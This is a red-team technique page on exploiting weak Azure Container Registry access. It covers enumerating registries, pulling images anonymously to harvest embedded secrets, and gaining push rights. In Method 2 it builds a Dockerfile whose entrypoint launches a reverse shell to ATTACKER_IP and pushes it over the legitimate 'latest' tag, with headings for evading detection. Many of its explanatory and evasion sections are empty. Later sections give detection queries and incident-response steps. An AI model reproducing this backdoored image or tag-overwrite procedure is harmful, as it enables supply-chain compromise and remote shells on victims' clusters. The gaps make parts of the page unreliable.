MCADDF

[MISCONFIG-019]: Weak Container Image Registry ACL

1. METADATA HEADER

Attribute Details
Technique ID MISCONFIG-019
MITRE ATT&CK v18.1 T1526 - Resource Discovery
Tactic Defense Evasion / Persistence
Platforms Entra ID, Azure Container Registry (ACR), AKS, Kubernetes
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure Container Registry (all versions), Docker Hub, Kubernetes 1.0+
Patched In Not applicable (configuration vulnerability)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Azure Container Registry (ACR) and other container image registries store container images used for application deployments. If ACL (Access Control Lists) are misconfigured—allowing anonymous/public access, overly permissive role assignments, or weak authentication—attackers can pull (download) images to analyze for secrets, source code, and credentials, or push (upload) malicious image layers to compromise downstream deployments. This attack enables code injection, supply chain compromise, lateral movement to deployment pipelines, and widespread infrastructure compromise.

Attack Surface: Container Registry access policies, Role-Based Access Control (RBAC), Registry webhook configurations, Image signing and validation policies, Registry firewall rules, and pull/push credentials management.

Business Impact: Supply chain compromise and mass deployment of malicious container images across the entire application ecosystem. With registry write access, attackers can poison base images (Alpine, Ubuntu, Node.js) used across multiple projects, inject malware into production-bound artifacts, exfiltrate secrets embedded in application code, and maintain persistent backdoors in all instances of compromised images.

Technical Context: Exploitation typically requires: (1) network access to the registry endpoint (public registries have no network restrictions), (2) read permissions to pull images (often public/anonymous), or (3) write permissions to inject malicious layers (requires compromised credentials or overly permissive RBAC). Detection is difficult because registry pulls/pushes appear as normal CI/CD activity. Reversibility is impossible once compromised images have been deployed—all running instances must be identified and replaced with patched versions.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2 (Kubernetes), 2.4 (Azure) Image Registry Configuration, Container Image Scanning
DISA STIG SI-7, SI-10, CM-5 Software, Firmware, and Information Integrity; Information System Monitoring
CISA SCuBA CL-CS-3 Container Image Scanning and Vulnerability Management
NIST 800-53 SC-7, SI-7, SI-10, CM-3, CM-5 Boundary Protection, Software Integrity, Supply Chain Protection
GDPR Art. 32 Security of Processing (supply chain security, third-party controls)
DORA Art. 9, Art. 16 Protection & Prevention, Reporting of ICT-Related Incidents
NIS2 Art. 21, Art. 22 Cyber Risk Management, Incident Reporting
ISO 27001 A.12.2, A.12.5, A.13.1 Supply Chain Management, Cryptographic Controls
ISO 27005 Supply Chain Risk Risk management for container image supply chain

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Enumerating and Pulling Images from Weak ACR Access Policies

Supported Versions: All Azure Container Registry versions

Step 1: Enumerate Azure Container Registries in Target Subscription

Objective: Identify accessible container registries within the target Azure subscription.

Command (Azure CLI - List ACRs):

# List all container registries in the subscription
az acr list --query "[].{name: name, resourceGroup: resourceGroup, loginServer: loginServer}" --output table

# Get detailed information about a specific ACR
az acr show --name "my-registry" --resource-group "RG-Name" --query "{loginServer: loginServer, adminUserEnabled: adminUserEnabled, publicNetworkAccess: publicNetworkAccess}"

Expected Output:

Name: my-registry
ResourceGroup: MyResourceGroup
LoginServer: myregistry.azurecr.io

AdminUserEnabled: false
PublicNetworkAccess: Enabled

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Check ACR Authentication and Firewall Rules

Objective: Determine if ACR is publicly accessible and what authentication is required.

Command (Azure CLI - Check ACR Network Settings):

# Check if ACR is publicly accessible
az acr show --name "my-registry" --resource-group "RG-Name" --query "publicNetworkAccess"

# List network rules (firewall)
az acr network-rule list --registry-name "my-registry" --resource-group "RG-Name"

# Check if anonymous pull is enabled (very weak configuration)
az acr config content-trust show --registry-name "my-registry"

Expected Output (Weak Configuration):

PublicNetworkAccess: Enabled
NetworkRules: None (no firewall rules = open to anyone)
ContentTrustEnabled: false

What This Means:

OpSec & Evasion:

Step 3: Attempt to Pull Images Without Authentication

Objective: Verify that images can be pulled without credentials.

Command (Docker - Anonymous Pull):

# Attempt to pull image without authentication
docker pull myregistry.azurecr.io/webapp:latest

# Or using curl for a more stealthy approach
curl -H "Authorization: Bearer" https://myregistry.azurecr.io/v2/ \
  -H "Accept: application/vnd.docker.distribution.manifest.v2+json"

# List all repositories and tags
curl https://myregistry.azurecr.io/v2/_catalog

Expected Output (If Anonymous Access Enabled):

{
  "repositories": [
    "webapp",
    "database-migration",
    "admin-dashboard",
    "payment-processor"
  ]
}

What This Means:

OpSec & Evasion:

References & Proofs:

Step 4: Analyze Pulled Images for Secrets and Source Code

Objective: Extract and analyze container image layers to discover embedded secrets, source code, and credentials.

Command (Docker/Skopeo - Image Layer Analysis):

# Use Skopeo to inspect image without pulling entire Docker images
skopeo inspect docker://myregistry.azurecr.io/webapp:latest

# Pull image and extract layers
docker pull myregistry.azurecr.io/webapp:latest
docker save myregistry.azurecr.io/webapp:latest -o webapp.tar

# Extract and analyze filesystem
mkdir -p /tmp/image-analysis
cd /tmp/image-analysis
tar xf webapp.tar

# Search for secrets in image layers
find . -name "*.env" -o -name "*.conf" -o -name "config.json" | xargs grep -l "password\|apikey\|secret\|token"

# Use Trivy to scan for vulnerabilities and embedded secrets
trivy image myregistry.azurecr.io/webapp:latest --severity CRITICAL

# Use Syft to generate Software Bill of Materials (SBOM)
syft myregistry.azurecr.io/webapp:latest --output json > webapp-sbom.json

Expected Output (Secrets Found):

./webapp-layer-123/app/config.json:  "database_password": "P@ssw0rd123!",
./webapp-layer-123/app/.env:  APIKEY=sk-proj-1234567890...
./webapp-layer-456/secrets/credentials.txt:  AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Injecting Malicious Layers into ACR Images (Write Access via Weak RBAC)

Supported Versions: All Azure Container Registry versions

Step 1: Obtain Write Access to ACR

Objective: Acquire credentials or RBAC permissions to push images to the registry.

Command (Azure CLI - Check Current Roles):

# List all role assignments for the ACR
az role assignment list --scope "/subscriptions/SUBSCRIPTION_ID/resourceGroups/RG-Name/providers/Microsoft.ContainerRegistry/registries/my-registry" \
  --query "[].{role: roleDefinitionName, principal: principalName}" --output table

# If you have compromised a user account, check their permissions
az role assignment list --assignee "user@example.com"

Expected Output (Weak Configuration):

Role: Contributor
Principal: user@example.com

Role: AcrPush
Principal: build-service-account

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Create Malicious Container Image with Backdoor

Objective: Build a modified container image with malicious code (e.g., reverse shell, cryptominer, data exfiltration).

Command (Dockerfile - Create Backdoor Image):

# Use the legitimate image as base
FROM myregistry.azurecr.io/webapp:latest

# Add malicious layer on top
RUN apt-get update && apt-get install -y curl netcat-openbsd

# Create backdoor shell script
RUN echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh

# Modify entrypoint to trigger backdoor
ENTRYPOINT ["/bin/sh", "-c", "/tmp/backdoor.sh & exec /app/startup.sh"]

Build and Push Malicious Image:

# Build the malicious image
docker build -t myregistry.azurecr.io/webapp:latest-backdoor -f Dockerfile .

# Log in to ACR
az acr login --name my-registry

# Push the malicious image, overwriting the existing tag
docker tag myregistry.azurecr.io/webapp:latest-backdoor myregistry.azurecr.io/webapp:latest
docker push myregistry.azurecr.io/webapp:latest

What This Means:

OpSec & Evasion:

References & Proofs:

Step 3: Verify Malicious Image Deployment

Objective: Confirm that new deployments use the poisoned image.

Command (Kubernetes - Monitor Pod Deployment):

# Check running pods
kubectl get pods --all-namespaces -o wide | grep webapp

# Describe pod to see image digest
kubectl describe pod <pod-name> -n <namespace> | grep -A5 "Image:"

# Check image ID to verify it's the malicious version
docker inspect myregistry.azurecr.io/webapp:latest | grep -A2 "Id"

Expected Output:

Pod: webapp-deployment-5d4f9b8c2a
Image: myregistry.azurecr.io/webapp:latest
ImageID: sha256:abc123def456xyz789... (NEW hash = malicious image)

What This Means:

References & Proofs:


METHOD 3: Exploiting Weak Registry Firewall Rules and Admin Access

Supported Versions: Azure Container Registry with admin user enabled

Step 1: Extract Admin Credentials from Azure Subscription

Objective: Obtain ACR admin credentials if admin user is enabled (weak practice).

Command (Azure CLI - Get Admin Credentials):

# Check if admin user is enabled
az acr show --name "my-registry" --resource-group "RG-Name" --query "adminUserEnabled"

# If admin user is enabled, get credentials
az acr credential show --name "my-registry" --resource-group "RG-Name" --query "{username: username, password: passwords[0].value}"

Expected Output:

username: my-registry
password: ABC123def456XYZ789uvw==

What This Means:

OpSec & Evasion:

Step 2: Bypass Firewall Rules with Privileged Access

Objective: Access the registry from unexpected IP addresses if firewall rules are misconfigured.

Command (Azure CLI - Check Firewall Rules):

# List all network rules
az acr network-rule list --registry-name "my-registry" --resource-group "RG-Name"

# Check if default action is "Allow" (dangerous)
az acr show --name "my-registry" --resource-group "RG-Name" --query "networkRuleBypassOptions"

Expected Output (Weak Configuration):

DefaultAction: Allow
NetworkRules: []
BypassOptions: AzureServices

What This Means:

OpSec & Evasion:


7. TOOLS & COMMANDS REFERENCE

Docker CLI

Version: 24.0+ (current) Minimum Version: 19.x Supported Platforms: Windows, macOS, Linux

Installation:

# macOS
brew install docker

# Linux
curl -fsSL https://get.docker.com -o get-docker.sh && sudo sh get-docker.sh

# Windows
choco install docker-desktop

Usage:

docker pull myregistry.azurecr.io/webapp:latest
docker save myregistry.azurecr.io/webapp:latest -o image.tar

Skopeo

Version: 1.14+ Language: Go

Installation:

# Linux
sudo apt-get install skopeo

# macOS
brew install skopeo

# From source
git clone https://github.com/containers/skopeo.git && cd skopeo && make binary-install

Usage:

skopeo inspect docker://myregistry.azurecr.io/webapp:latest
skopeo copy docker://myregistry.azurecr.io/webapp:latest oci://local-image

Trivy

Version: 0.45+ (current) Language: Go

Installation:

# macOS
brew install aquasecurity/trivy/trivy

# Linux
wget https://github.com/aquasecurity/trivy/releases/download/v0.45.0/trivy_0.45.0_Linux-64bit.tar.gz
tar xzf trivy_0.45.0_Linux-64bit.tar.gz && sudo mv trivy /usr/local/bin/

Usage:

trivy image myregistry.azurecr.io/webapp:latest --severity CRITICAL

9. MICROSOFT SENTINEL DETECTION

Query 1: Detection of Unauthorized ACR Pull/Push Operations

Rule Configuration:

KQL Query:

AzureActivity
| where TimeGenerated > ago(24h)
| where ResourceProvider == "Microsoft.ContainerRegistry"
| where OperationName has_any ("PushImage", "PullImage", "DeleteImage")
| where Result != "Success" or CallerIpAddress matches regex @"^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$"
| summarize Count=count(), UniqueUsers=dcount(Caller), UniqueIPs=dcount(CallerIpAddress) by OperationName, ResourceName
| where Count > 20 or UniqueIPs > 3

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Unauthorized ACR Image Operations
    • Severity: High
  4. Set rule logic:
    • Paste KQL query
    • Frequency: 15 minutes
  5. Incident settings:
    • Enable Create incidents
  6. Click Review + create

Query 2: Detection of Anonymous ACR Access

Rule Configuration:

KQL Query:

AzureActivity
| where TimeGenerated > ago(24h)
| where ResourceProvider == "Microsoft.ContainerRegistry"
| where AuthenticationLevel == "Anonymous" or Caller == "Anonymous"
| where OperationName has_any ("PullImage", "ListImages", "GetManifest")

What This Detects:


10. WINDOWS EVENT LOG MONITORING

Event ID: 4624 (Successful Logon)


12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Anonymous access to container registry detected”

Manual Configuration Steps:

  1. Go to Azure PortalMicrosoft Defender for Cloud
  2. Go Environment settings → Select subscription
  3. Under Defender plans, enable Defender for Container Registries: ON
  4. Go to Security alerts to view triggered alerts

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Block Registry Access):
    # Disable public access immediately
    az acr update --name my-registry --resource-group RG-Name --public-network-enabled false
       
    # Revoke all tokens
    az acr token delete --registry my-registry --name read-webapp-token
    
  2. Collect Evidence: Command (Export Registry Manifest):
    # Download image manifest for forensic analysis
    skopeo inspect docker://myregistry.azurecr.io/webapp:latest > webapp-manifest.json
       
    # Export pull/push audit logs
    az monitor activity-log list --resource-group "RG-Name" --offset 72h --query "[].{Time: eventTimestamp, Operation: operationName, Caller: caller}" > acr-audit.json
    
  3. Remediate: Command (Replace Compromised Image):
    # Build clean image from verified source
    docker build -t myregistry.azurecr.io/webapp:v1.0-patched .
       
    # Push patched image
    docker push myregistry.azurecr.io/webapp:v1.0-patched
       
    # Force Kubernetes to pull new image
    kubectl rollout restart deployment webapp -n production
    
  4. Hunt for Lateral Movement: KQL Query (Detect Registry Access from Unexpected Sources):
    AzureActivity
    | where ResourceProvider == "Microsoft.ContainerRegistry"
    | where CallerIpAddress != "EXPECTED_IP_RANGE"
    | summarize Count=count() by Caller, CallerIpAddress, OperationName
    

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-005] Azure Resource Graph Enumeration Attacker discovers ACR instances and storage accounts
2 Credential Access [CA-UNSC-008] Storage Account Key Theft Attacker extracts registry credentials from compromised environments
3 Lateral Movement [MISCONFIG-019] Weak Container Image Registry ACL Attacker pulls or pushes images to ACR
4 Persistence Malicious Image Layer Injection Attacker creates backdoor image in registry
5 Execution AKS Pod Launch with Backdoor Image Attacker deploys compromised image to Kubernetes cluster
6 Impact Lateral movement to other cluster nodes / supply chain compromise Attacker gains cluster admin, exfiltrates data, or sells backdoored image to other organizations

17. REAL-WORLD EXAMPLES

Example 1: SolarWinds Supply Chain Attack (2020-2021)

Example 2: DockerHub Credential Exposure via Public Repository

Example 3: Azure Container Registry Anonymous Pull Misconfiguration